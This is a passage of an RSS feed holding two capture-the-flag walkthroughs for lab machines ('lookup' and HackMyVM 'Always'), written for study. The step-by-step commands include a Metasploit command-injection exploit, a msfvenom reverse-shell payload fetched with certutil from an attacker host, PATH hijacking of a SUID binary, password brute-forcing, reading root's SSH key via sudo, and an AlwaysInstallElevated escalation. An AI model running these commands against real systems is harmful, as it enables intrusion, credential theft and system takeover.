=&gt; files.lookup.htb<br>msf6 exploit(unix/webapp/elfinder_php_connector_exiftran_cmd_injection) &gt; run</pre><pre>[*] Started reverse TCP handler on 172.25.152.218:4444<br>[*] Uploading payload &#39;hqHrPyPPqk.jpg;echo 6370202e2e2f66696c65732f6871487250795050716b2e6a70672a6563686f2a202e7a347665744e782e706870 |xxd -r -p |sh&amp; #.jpg&#39; (1963 bytes)<br>[*] Triggering vulnerability via image rotation …<br>[*] Executing payload (/elFinder/php/.z4vetNx.php) …<br>[*] Sending stage (39927 bytes) to 172.25.144.1<br>[+] Deleted .z4vetNx.php<br>[*] Meterpreter session 1 opened (172.25.152.218:4444 -&gt; 172.25.144.1:57470) at 2023–07–30 20:20:08 +0200<br>[*] No reply<br>[*] Removing uploaded file …<br>[+] Deleted uploaded file</pre><pre>meterpreter &gt; getuid<br>Server username: www-data<br>meterpreter &gt; sysinfo<br>Computer : lookup<br>OS : Linux lookup 5.4.0–152-generic #169-Ubuntu SMP Tue Jun 6 22:23:09 UTC 2023 x86_64<br>Meterpreter : php/linux</pre><h3>ROOT</h3><p>Looking for <strong>SUIDs </strong>we can identify this binary:</p><pre>-rwsr-sr-x 1 root root 17176 Jul 30 19:32 /usr/sbin/pwm</pre><p>When we runs it we got this answer:</p><pre>pwm<br>[!] Running &#39;id&#39; command to extract the username and user ID (UID)<br>[!] ID: www-data<br>[-] File /home/www-data/.passwords not found</pre><p>It seems it is running the “<strong>id</strong>” command and somehow extracting the username from the output of the command.</p><p>Let’s test if the program is using the absolute path or a relative one. I have changed the PATH environment variable to start looking for “<strong>/tmp</strong>” and then created a fake “<strong>id</strong>” binary in there that will <strong>echo a fake id</strong>.</p><pre>www-data@lookup:/tmp$ export PATH=/tmp:$PATH<br>export PATH=/tmp:$PATH<br>www-data@lookup:/tmp$ echo &#39;echo &quot;uid=33(think) gid=33(www-data) groups=33(www-data)&quot;&#39; &gt; id<br>www-data@lookup:/tmp$ cat id<br>cat id<br>echo &quot;uid=33(think) gid=33(www-data) groups=33(www-data)&quot;<br>www-data@lookup:/tmp$ chmod +x id<br>chmod +x id<br>www-data@lookup:/tmp$ id<br>id<br>uid=33(think) gid=33(www-data) groups=33(www-data)</pre><p>Now that we have a fake “<strong>id</strong>” output, let’s try to abuse the binary:</p><pre>www-data@lookup:/tmp$ pwm<br>pwm<br>[!] Running &#39;id&#39; command to extract the username and user ID (UID)<br>[!] ID: think<br>jose1006<br>jose1004<br>jose1002<br>jose1001teles<br>jose100190<br>jose10001<br>jose10.asd<br>…SNIP…</pre><p>It gives us a list of passwords.</p><p>It could take too long to test all those passwords manually so i use:</p><blockquote><a href="https://github.com/d4t4s3c/suForce">https://github.com/d4t4s3c/suForce</a></blockquote><pre>www-data@lookup:/dev/shm$ ./suForce.sh -u think -w passwords.txt<br>./su-bruteforce.sh -u think -w passwords.txt<br>[+] Bruteforcing think…<br>You can login as think using password: jo...SNIP...<br>Wordlist exhausted</pre><p>Now we just change users and we could see user <strong>think </strong>have <strong>sudo</strong> capabilities:</p><pre>www-data@lookup:/dev/shm$ su think<br>su think<br>Password: jos...SNIP...<br>think@lookup:/dev/shm$ sudo -l<br>sudo -l<br>[sudo] password for think: josemario.AKA(think)<br>Matching Defaults entries for think on lookup:<br>env_reset, mail_badpass,<br>secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin<br>User think may run the following commands on lookup:<br>(ALL) /usr/bin/look<br>think@lookup:/dev/shm$</pre><p>Looking for the <strong>look </strong>binary in <strong>GTFOBins </strong>we find this:</p><blockquote><a href="https://gtfobins.github.io/gtfobins/look/#sudo">https://gtfobins.github.io/gtfobins/look/#sudo</a></blockquote><pre>think@lookup:/dev/shm$ LFILE=/root/.ssh/id_rsa<br>LFILE=/root/.ssh/id_rsa<br>think@lookup:/dev/shm$ sudo look &#39;&#39; &quot;$LFILE&quot;<br>sudo look &#39;&#39; &quot;$LFILE&quot;<br> - - -BEGIN OPENSSH PRIVATE KEY - - -<br>b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn<br>…SNIP…<br>DgTNYOtefYf4OEpwAAABFyb290QHVidW50dXNlcnZlcg==<br> - - -END OPENSSH PRIVATE KEY - - -<br>think@lookup:/dev/shm$</pre><p>So now we just <strong>SSH </strong>as <strong>root </strong>on the machine.</p><h3><strong>Congratulations! We have successfully completed this machine. Thank you for reading!</strong></h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1d1be50fa7a6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[​Always]]></title>
            <link>https://medium.com/@josemlwdf/always-2fe441d13d50?source=rss-1860d262d4c9------2</link>
            <guid isPermaLink="false">https://medium.com/p/2fe441d13d50</guid>
            <category><![CDATA[always]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[hackmyvm]]></category>
            <dc:creator><![CDATA[joseml]]></dc:creator>
            <pubDate>Thu, 31 Oct 2024 11:07:57 GMT</pubDate>
            <atom:updated>2024-11-22T14:49:08.221Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/295/0*udLuYz03fzoMIbeV" /></figure><p>Always is an introductory-level Windows target from HackmyVM designed to build essential skills in enumeration, exploitation, and privilege escalation. Initial enumeration with Nmap reveals several open ports, including FTP, HTTP, and SMB, each exposing services with potential vulnerabilities. Diving into these services uncovers hints and credentials through Base64 encoded data, leading to FTP access. By deploying a crafted reverse shell and leveraging Metasploit for privilege escalation, users can gain SYSTEM-level access.</p><h3>ENUMERATION</h3><p>Lets begin as always with an Nmap Scan:</p><pre>target=127.0.0.1; nmap -T4 -p$(nmap -Pn -T4 -n -p- $target | grep &#39;tcp.*open&#39; | cut -d &#39;/&#39; -f 1 | tr &#39;\n&#39; &#39;,&#39; | sed s/,$//) -Pn -n -sVC $target</pre><pre>PORT STATE SERVICE VERSION<br>21/tcp open ftp Microsoft ftpd<br>| ftp-syst:<br>|_ SYST: Windows_NT<br>135/tcp open msrpc Microsoft Windows RPC<br>139/tcp open netbios-ssn Microsoft Windows netbios-ssn<br>445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)<br>3389/tcp open ms-wbt-server?<br>|_ssl-date: 2024–10–31T09:19:33+00:00; 0s from scanner time.<br>| ssl-cert: Subject: commonName=Always-PC<br>| Not valid before: 2024–10–02T08:06:05<br>|_Not valid after: 2025–04–03T08:06:05<br>5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-title: Service Unavailable<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>8080/tcp open http Apache httpd 2.4.57 ((Win64))<br>|_http-server-header: Apache/2.4.57 (Win64)<br>| http-methods:<br>|_ Potentially risky methods: TRACE<br>|_http-open-proxy: Proxy might be redirecting requests<br>|_http-title: We Are Sorry<br>49152/tcp open msrpc Microsoft Windows RPC<br>49153/tcp open msrpc Microsoft Windows RPC<br>49154/tcp open msrpc Microsoft Windows RPC<br>49155/tcp open msrpc Microsoft Windows RPC<br>49156/tcp open msrpc Microsoft Windows RPC<br>49157/tcp open msrpc Microsoft Windows RPC<br>Service Info: Host: ALWAYS-PC; OS: Windows; CPE: cpe:/o:microsoft:windowsHost script results:<br>| smb-security-mode:<br>| account_used: guest<br>| authentication_level: user<br>| challenge_response: supported<br>|_ message_signing: disabled (dangerous, but default)<br>|_nbstat: NetBIOS name: ALWAYS-PC, NetBIOS user: &lt;unknown&gt;, NetBIOS MAC: 08:00:27:d3:b7:7d (Oracle VirtualBox virtual NIC)<br>| smb2-security-mode:<br>| 2:1:0:<br>|_ Message signing enabled but not required<br>| smb2-time:<br>| date: 2024–10–31T09:19:28<br>|_ start_date: 2024–10–31T09:17:30<br>|_clock-skew: mean: -30m00s, deviation: 1h00m00s, median: 0s<br>| smb-os-discovery:<br>| OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)<br>| OS CPE: cpe:/o:microsoft:windows_7::sp1:professional<br>| Computer name: &quot;Always-PC&quot;<br>| NetBIOS computer name: ALWAYS-PC\x00<br>| Workgroup: WORKGROUP\x00<br>|_ System time: 2024–10–31T11:19:28+02:00</pre><blockquote><a href="https://github.com/josemlwdf/CTFEnum">https://github.com/josemlwdf/CTFEnum</a></blockquote><p><strong>Ctfenum </strong>got us this:</p><pre>======================================================================<br>[!] Attacking port 21<br>[!] FTP<br>[!] If the FTP server does not lists the content, use the commands like:<br>ftp:&gt;passive<br>ftp:&gt;bin<br>ftp:&gt;ls -la<br>[!] Testing common credentials for FTP on background<br>======================================================================<br>[!] Attacking port 8080<br>[!] Apache server, Fuzzing for PHP files.<br>[+] Apache/2.4.57 (Win64)<br>[!] URL: http://192.168.56.18:8080<br><br>http://192.168.56.18:8080/admin/admin_notes.html</pre><h3>EXPLOITATION</h3><p>On the admin_notes page we find this base64 encoded text:</p><pre>ZnRwdXNlcjpLZWVwR29pbmdCcm8hISE=</pre><p>let’s see what’s inside:</p><blockquote><a href="https://github.com/josemlwdf/Decodify">https://github.com/josemlwdf/Decodify</a></blockquote><pre>└─$ dcode ZnRwdXNlcjpLZWVwR29pbmdCcm8hISE=</pre><pre>[+] Decoded from Base64: ftpuser:KeepGoingBro!!!</pre><p>So we have creds for the “<strong>ftpuser”.</strong></p><pre>└─$ ftp $(IP)</pre><pre>Connected to 192.168.56.18.<br>220 Microsoft FTP Service<br>Name (192.168.56.18:think): ftpuser<br>331 Password required for ftpuser.<br>Password:<br>230 User logged in.<br>Remote system type is Windows_NT.<br>ftp&gt; ls<br>229 Entering Extended Passive Mode (|||49158|)<br>150 Opening ASCII mode data connection.<br>10–01–24 07:17PM 56 robots.txt<br>226 Transfer complete.<br>ftp&gt; get robots.txt<br>local: robots.txt remote: robots.txt<br>229 Entering Extended Passive Mode (|||49159|)<br>150 Opening ASCII mode data connection.<br>100% |****************************************************************************************************************| 56 64.03 KiB/s 00:00 ETA<br>226 Transfer complete.<br>56 bytes received in 00:00 (38.05 KiB/s)<br>ftp&gt;</pre><p>Now we inspect the robots.txt file</p><pre>└─$ cat robots.txt</pre><pre>User-agent: *<br>Disallow: /admins-secret-pagexxx.html</pre><p>Let’s visit this page to see what’s inside</p><pre>curl http://192.168.56.18:8080/admins-secret-pagexxx.html</pre><pre>Admin&#39;s Secret Notes<br>1) Disable the firewall and Windows Defender.<br>2) Enable FTP and SSH.<br>3) Start the Apache server.<br>4) Don&#39;t forget to change the password for user &#39;always&#39;. Current password is &quot;WW91Q2FudEZpbmRNZS4hLiE=&quot;.</pre><p>The 4 item on the list gives us the password for the user “<strong>always”</strong></p><pre>└─$ dcode WW91Q2FudEZpbmRNZS4hLiE=</pre><pre>[+] Decoded from Base64: YouCantFindMe.!.!</pre><p>The next logical step is to RDP as always user on the machine and get a reverse shell from there. On this version of the machine this next step is broken because the password for always user was never set to this one.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cU5lCbXosccGi7NTndZWqQ.png" /></figure><p>Let’s see if the password of the “<strong>ftpuser</strong>” is the same on the system:</p><pre>└─$ netexec smb $(IP) -u ftpuser -p &#39;KeepGoingBro!!!&#39;</pre><pre>SMB 192.168.56.18 445 ALWAYS-PC [*] Windows 7 Professional 7601 Service Pack 1 x64 (name:ALWAYS-PC) (domain:Always-PC) (signing:False) (SMBv1:True)<br>SMB 192.168.56.18 445 ALWAYS-PC [+] Always-PC\ftpuser:KeepGoingBro!!!</pre><p>Cool, we can log in physically into the machine as “<strong>ftpuser”</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1007/1*sE_Ij7tkGGvz6n50j2xZfg.png" /></figure><p>From there i have sent me a reverse shell as “<strong>ftpuser”</strong></p><pre>└─$ msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.56.1 LPORT=9999 -f exe -o reverse.exe</pre><pre>[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload<br>[-] No arch selected, selecting arch: x64 from the payload<br>No encoder specified, outputting raw payload<br>Payload size: 201798 bytes<br>Final size of exe file: 208384 bytes<br>Saved as: reverse.exe</pre><p>I have served this “<strong>Metasploit”</strong> payload with a <strong>python HTTP server</strong></p><pre>└─$ http</pre><pre>Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) …<br>172.19.128.1 - - [31/Oct/2024 10:51:34] &quot;GET /reverse.exe HTTP/1.1&quot; 200 -</pre><p>I have downloaded the metasploit payload with <strong>certutil.exe</strong></p><pre>certutil.exe -urlcache -split -f http://192.168.56.1/reverse.exe</pre><p>I have launched the listener:</p><pre>└─$ msfconsole -q -x &quot;use multi/handler; set payload windows/x64/meterpreter_reverse_tcp; set LHOST 192.168.56.1; set LPORT 9999; set ExitOnSession false; set AutoRunScript post/windows/manage/migrate; run -z -j&quot;</pre><pre>[*] Using configured payload generic/shell_reverse_tcp<br>payload =&gt; windows/x64/meterpreter_reverse_tcp<br>LHOST =&gt; 192.168.56.1<br>LPORT =&gt; 9999<br>ExitOnSession =&gt; false<br>AutoRunScript =&gt; post/windows/manage/migrate<br>[*] Exploit running as background job 0.<br>[*] Exploit completed, but no session was created.<br>[-] Handler failed to bind to 192.168.56.1:9999:- -<br>[*] Started reverse TCP handler on 0.0.0.0:9999</pre><p>Once launched the metasploit payload i got a connection:</p><pre>msf6 exploit(multi/handler) &gt; [*] Session ID 1 (172.19.142.179:9999 -&gt; 172.19.128.1:60344) processing AutoRunScript &#39;post/windows/manage/migrate&#39;<br>[*] Running module against ALWAYS-PC<br>[*] Current server process: reverse.exe (1780)<br>[*] Spawning notepad.exe process to migrate into<br>[*] Spoofing PPID 0<br>[*] Migrating into 876<br>[+] Successfully migrated into process 876<br>[*] Meterpreter session 1 opened (172.19.142.179:9999 -&gt; 172.19.128.1:60344) at 2024–10–31 10:51:56 +0100<br>msf6 exploit(multi/handler) &gt; sessions 1<br>[*] Starting interaction with 1…<br>meterpreter &gt; guid<br>[+] Session GUID: 79163c44–49ab-4f97-a3e4-c7358af1455d<br>meterpreter &gt;</pre><h3>ROOT</h3><p>Since this is Windows 7 there have to be lots of exploits for privilege escalation integrated on Metasploit.</p><pre>msf6 post(multi/recon/local_exploit_suggester) &gt; set session 2<br>msf6 post(multi/recon/local_exploit_suggester) &gt; run</pre><p>I have used the first suggestion from exploit suggester:</p><pre>msf6 post(multi/recon/local_exploit_suggester) &gt; use exploit/windows/local/always_install_elevated<br>[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp<br>msf6 exploit(windows/local/always_install_elevated) &gt; setg lhost 192.168.56.1<br>lhost =&gt; 192.168.56.1<br>msf6 exploit(windows/local/always_install_elevated) &gt; set lport 8888<br>msf6 exploit(windows/local/always_install_elevated) &gt; run<br>[-] Handler failed to bind to 192.168.56.1:8888:- -<br>[*] Started reverse TCP handler on 0.0.0.0:8888<br>[*] Uploading the MSI to C:\Users\ftpuser\AppData\Local\Temp\OzbYAulZhxu.msi …<br>[*] Executing MSI…<br>[*] Sending stage (176198 bytes) to 172.19.128.1<br>[+] Deleted C:\Users\ftpuser\AppData\Local\Temp\OzbYAulZhxu.msi<br>[*] Meterpreter session 3 opened (172.19.142.179:8888 -&gt; 172.19.128.1:60673) at 2024–10–31 10:55:31 +0100<br>meterpreter &gt; getuid<br>Server username: NT AUTHORITY\SYSTEM<br>meterpreter &gt; shell<br>Process 2528 created.<br>Channel 2 created.<br>Microsoft Windows [S r m 6.1.7601]<br>Telif Hakk © 2009 Microsoft Corporation. T m haklar sakl d r.<br>C:\Windows\system32&gt;net user administrator admin<br>net user administrator admin<br>Komut ba ar yla tamamland .<br>C:\Windows\system32&gt;</pre><blockquote><a href="https://hackmyvm.eu/public/?u=josemlwdf"><strong>https://hackmyvm.eu/public/?u=josemlwdf</strong></a></blockquote><h3>Congratulations! We have successfully completed this machine. Thank you for reading!</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2fe441d13d50" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>